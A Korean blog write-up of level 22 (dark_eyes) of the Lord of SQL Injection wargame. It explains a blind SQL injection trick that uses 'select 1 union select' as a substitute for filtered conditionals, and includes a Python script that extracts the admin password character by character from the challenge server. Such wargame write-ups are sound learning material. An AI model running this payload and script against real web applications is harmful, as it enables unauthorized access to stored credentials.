본문 바로가기
Web/Lord of SQL Injection

Lord of SQL Injection 22단계 (dark_eyes)

by jh117jh 2023. 4. 10.
728x90

이번에 처치할 몬스터는 dark_eyes!

애들아...나...이건..학원비야.....

코드를 봐보면

이전 문제에서 사용했던 if문과 case, when 등 조건문들이 추가로 필터링되어 있다.

if문이 필터링 되어 있으므로 저번 문제처럼 조건을 걸어 union문을 실행시키는 것은 불가능하게 되었다.

또한 에러메세시도 사라져 아무 메세지도 출력되지 않게 되어있다.

조건문 필터링우회법이 있을지 검색해봤는데

이 문제에서는 우리가 사용했던 union의 성질을 이용하면 된다.

 

union은 select문 두 개의 합쳐진 결과를 출력하는데

위 사진이 정상적으로 실행되는 이유는 select 1 union select 1 은 둘 다 1을 출력하기 때문에 결과값 출력수가 1로 하나이기 때문이다.

이를 이용하여 select 1 union select length(pw)=1을 입력했을 때 pw의 길이가 올바르게 입력되면 참(True) 값으로 1을 반환하기 때문에 select 1 union select 1의 형식으로 입력될 것이다 이로써 정상적인 쿼리문이 실행되면 그때의 값이 pw의 길이임을 알 수 있다.

이처럼 union문의 특성을 사용하여 조건문처럼 사용할 수 있다.

 

이를 이용하여 코드를 작성해 보면

import requests
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookies={"PHPSESSID":"ke1oo8qkfgv5k8af41pajf039k"}
string="0123456789abcdefghijklmnopqrstuvwxyz"

pw=""

for i in range(0,100): #길이구하기
    pay=f"?pw=%27%20or%20id='admin'%20and%20(select%201%20union%20select%20length(pw)={i})%23"
    res=requests.get(url+pay,cookies=cookies)
    
    if "dark_eyes" in res.text:
        length=i
        print("length:",i)
        break


for i in range(1,length+1): #pw구하기
    for j in string:
        pay=f"?pw='or id='admin' and (select%201%20union%20select%20substr(pw,{i},1)='{j}')%23"
        res=requests.get(url+pay,cookies=cookies)

        if "dark_eyes" in res.text:
            pw+=j
            print("pw:",pw)
            break
print("password:",pw)

if문으로 응답값에 dark_eyes가 있으면 이라 했지만 다른 값을 넣어도 된다.

 

정상적으로 pw가 출력되는 걸 볼 수 있다.

굿굿!

다음 몬스터 잡으러 가자~!

728x90